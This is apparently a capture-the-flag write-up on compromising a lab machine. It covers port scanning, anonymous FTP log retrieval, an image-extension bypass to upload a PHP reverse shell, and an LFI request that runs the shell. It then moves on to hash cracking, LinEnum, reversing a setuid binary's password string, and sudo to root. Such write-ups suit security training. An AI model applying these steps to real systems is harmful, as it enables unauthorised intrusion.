Setup recon
nmap -A -vv -p- 172.16.232.7 -oN nmap_result_arthemis
Nmap 7.91 scan initiated Wed Mar 24 10:57:43 2021 as: nmap -A -vv -p- -oN nmap_result_arthemis 172.16.232.7
Nmap scan report for 172.16.232.7
Host is up, received syn-ack (0.10s latency).
Scanned at 2021-03-24 10:57:43 CET for 3040s
Not shown: 65532 closed ports
Reason: 65532 conn-refused
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: TYPO3 4.5 CMS
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LESGI, la grande \xC3\xA9cole informatique \xC3\xA0 Paris de Bac \xC3\xA0 Bac+5
25452/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:e4:c3:c7:4f:8b:0e:a3:53:bc:7a:a6:0f:43:19:61 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRoHQ7NA7HaqoRdkAt0ZyNXzLnAWENkdFDG64opLvKnsHNP7qFCHFXnT/3fV6TOFXpNiyNL4GTSkcDYIdurBFkohB0H0xunvpn1jSN3hGx+E2 J1A0g9AbqptfHFwRmSJ+zx+GfCoD7RYI0Oy4D3SdVihSzCzSZu93Wr1OGoo3UQ85wfdEowcttBazickYTsSLv0bWIXWh77920Ivw83RJG3LdHoj8a85h+hPkcd9lbaru2tSMHHjxVC2do/JB1aGae KCLqRMCBZLP4efC0rvp2pSTIRhcQgyKa1IvA0vdcye+ASnJKWYOaMht4KJLFfWNj0gjjdHy7UdrAar086xHT
| 256 62:af:ab:21:35:75:f6:8f:99:3d:d5:eb:19:fe:43:0e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDq9V7se1L0s8qp+Y+zdxk5qBioiJPHaQ8amDWgNmUJ0/bu9RteeRjVimsdV7yUUcjnct6WNvZG 9PBGFmacOpbI=
| 256 4a:3c:bb:38:8c:ef:4a:dd:19:26:47:67:11:04:60:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKr91sYv9fRa/QyISfvb1p6EgaPGJrelLa4HktQRznHK
61337/tcp open ftp syn-ack vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 207 Mar 22 23:05 letters.txt
|_drwxr-xr-x 2 0 0 4096 Mar 23 01:15 logs
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.16.232.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
As we can see, several ports are open, the last one being port 61337 which hides a small ftp service with an authorized Anonymous connection.
FTP access
Credentials :
Username : anonymous
Password : none
I will use the mget *
command to retrieve all the files on the FTP
Once the files are extracted, I’ll grep
the log files to get only the 200 code in HTTP
cat access.log | grep 200 > access.log.filtered
192.168.204.133 - - [22/Mar/2021:22:16:43 +0300] "GET / HTTP/1.0" 200 433 "-" "-"
192.168.204.133 - - [22/Mar/2021:22:16:45 +0300] "GET / HTTP/1.0" 200 433 "-" "-"
192.168.204.133 - - [22/Mar/2021:22:16:50 +0300] "GET / HTTP/1.0" 200 433 "-" "-"
192.168.204.133 - - [22/Mar/2021:22:16:50 +0300] "GET / HTTP/1.1" 200 414 "-" "-"
192.168.204.133 - - [22/Mar/2021:22:23:49 +0300] "GET / HTTP/1.1" 200 446 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
192.168.204.133 - - [22/Mar/2021:22:37:16 +0300] "GET / HTTP/1.1" 200 24301 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 "
192.168.204.133 - - [22/Mar/2021:22:37:17 +0300] "GET / HTTP/1.1" 200 24301 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 "
192.168.204.133 - - [22/Mar/2021:22:39:16 +0300] "GET / HTTP/1.1" 200 8704 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
192.168.204.133 - - [22/Mar/2021:22:42:42 +0300] "GET / HTTP/1.1" 200 8704 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
192.168.204.133 - - [22/Mar/2021:22:56:00 +0300] "GET /**0cdb312366ecf1f493bc83f0fb56adda28125498762f28f1cc40c320300125ce/** HTTP/1.1" 200 444 "-" "Mozil la/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
192.168.204.133 - - [22/Mar/2021:22:44:32 +0300] "GET / HTTP/1.1" 200 11082 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 "
192.168.204.133 - - [22/Mar/2021:22:44:34 +0300] "GET / HTTP/1.1" 200 11081 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 "
LFI TO RCE
As you can see, we have an unusual url for a website.
I’ll run a bruteforce scan of the directory
# Personally I use feroxbuster it's a tool identical to gobuster or dirb
feroxbuster --url http://172.16.232.7/0cdb312366ecf1f493bc83f0fb56adda28125498762f28f1cc40c320300125ce/ --extensions cgi,py,bak,php,pdf,asp,html,xml,json,txt,js -o export_feroxbuster_path_zarb
/uploads
/upload.php
/upload.html
/language.php
/index.html
/
/.php
/.html
**/uploads/**
/uploads/.php
/uploads/.html
/uploads
**/upload.php**
/upload.html
/index.html
**/language.php**
Let’s take a little look at the interesting paths 👀
An upload, which will perhaps be useful to us to reach the machine 👀
The upload directory
A language button
I’ll run burp suite
to try to upload some shells
After intercepting the connection with burp I sent it to Reapter
to avoid retyping the request every time I try.
As you can see here I used a “classic” reverse shell with the help of my chrome extension #AD
Unfortunately, the application has a filter that checks the extensions and sends us an error as soon as an uploaded file does not have a .jpg, .png, .jpeg
extension.
The error in question
Let’s try to bypass the filter by adding a .jpg
.
And there you go! 🤌 The filter did bypass as expected.
Let’s check the path /uploads
to see if our backdoor has been placed in the right folder.
And as you can see, our backdoor is there
(Don’t pay attention to the other files, I tested several methods of bypassing the filter)
When we click on our backdoor nothing happens, which is quite logical because the apache server thinks that our backdoor is an image (hence the .jpg
at the end of the uploader file)
Now let’s go back to the language button we saw earlier.
At first sight, nothing special, but something is hiding behind this little button.
I’ll intercept the connection with burp next to explain how I got a LFI
that I turned into a RCE
.
As you can see, we have access to a variable that we can exploit in the url, more precisely the ?lang=
variable
Now I’m going to use a payload that is present on my extension #AD2 that will allow us to do some directory traversal
Let’s take a moment to analyze the situation of our pentest
- We have uploaded our
backdoor in php
but it is not yet executable by the server - We have access to a Directory Traversal with the
language.php
file
If we combine the two access methods, we can try to run our own backdoor
from the LFI
discovered earlier.
RCE (Accès à la machine depuis le www-data)
With the combination of our two methods, as expected, we managed to execute our backdoor and thus have our first access to the machine 🙌
# Since we are in the same directory, we just need to go to the upload directory and select our backdoor."/uploads/reverseShellA.php5.jpg"
GET /0cdb312366ecf1f493bc83f0fb56adda28125498762f28f1cc40c320300125ce/language.php?lang=./uploads/reverseShellA.php5.jpg HTTP/1.1
For my sanity, I’ll show you how to upgrade a classic TTY shell to a shell that works perfectly with autocomplete.
As a reminder, this method is available directly on my chrome extension #AD3 (I promise to stop)
And that’s it! We have a perfectly working shell, we can start with a good basis to find an access on another user.
Once in the /var/www/html
folder we can see a backups-4e45a234079C45bc326b12ce453
folder which does not appear on the log file we exfiltrated from the FTP earlier.
After a few minutes of searching every little folder and file in the directory, I carefully looked at the users.sql
file
And as you can see from the highlighted line, we have our user account eguillemot
with a hash B38E48ED65DF090D475F5F25E030D183BC140ECD
To crack the hash there are several methods/tools like hashcat
john
and many others.
But for my part, I used the crackstation
utility which is available online.
And that’s it! We have access to our first user from www-data
to the eguillemot
user
ssh login
Username: eguillemot
Password: esgi
Login to user eguillemot
# As a reminder, the SSH connection is on port 25452
❯ ssh eguillemot@172.16.232.7 -p 25452
First flag
eguillemot@artemis:~$ cat user.txt
CEH{Wh4t_4_w0nd3rfUl_w3bs1t3}
Now that we are on the user eguillemot, we need to find a way to access the user khenno
To do this, I’m going to use a very nice utility that allows me to display all the configurations/files present on the machine that could be compromising for another user.
LinEnum
Repository ⬇️
To avoid writing errors I put the LinEnum
script in the directory /dev/shm
it’s a development directory which normally contains shared memory
so no writing problem in this kind of directory.
As you can see from the LinEnum
script we have a binary that is not normally present on Linux machines, especially since the binary in question has access to the user we want to compromise.
Reverse engineering
We will now concentrate on the reverse engineering part, for this exercise I will use the gdb
utility with the peda
plugin
But before starting, I used Ghidra
to generate a pseudo-code of the application so that I can have an idea of how it works.
{
__uid_t __euid;
__uid_t __ruid;
undefined8 local_34;
undefined4 local_2c;
char local_28 [12]; // Tableau de 12 char max
int local_1c;
local_34 = 0x5e415d415d415d5b; // String
local_2c = 0x415f41; // Non utilisé
fgets(local_28,0xc,stdin); // Input de l'application
local_1c = strcmp(local_28,(char *)&local_34); // Comparaison
if (local_1c == 0) { // Si la comparaison est true on passe bash
__euid = geteuid();
__ruid = geteuid();
setreuid(__ruid,__euid);
system("/bin/bash");
}
return 0;
}
Now that we have an idea of how the application behaves, I’ll explain how to reverse the binary with `gdb
First we will start with a disass main
and then we will place a breakpoint.
Here we are in the stack! 🥴
I’ll avoid all the futile information and go straight to the heart of the matter.
We are, in the moment of the stack or the program asks us to enter a value, for the test I will voluntarily put AAAA.
Now we come to the moment of comparison
And as you can see the program has just jumpered to a leave function, which proves to us that the comparison has failed
But as you can see, it compares the string []A]A^A_A
with our manually entered AAAA
.
Exploiting the binary
As seen before, we have found a string []A]A^A_A
, we will try it on the user machine to try to spawn a shell with the user khennou
.
That’s it! We have just exploited the binary passing from www-data
→ eguillemot
→ khennou
Once on the last user, it will be enough to make a small sudo -l
to see if it belongs to the sudoers
.
That’s fine, we have access to root with the following command in nopasswd
.
sudo su
Rooted
root@artemis:~> cat root.txt
CEH{B4ckd0or3d_3SG1????}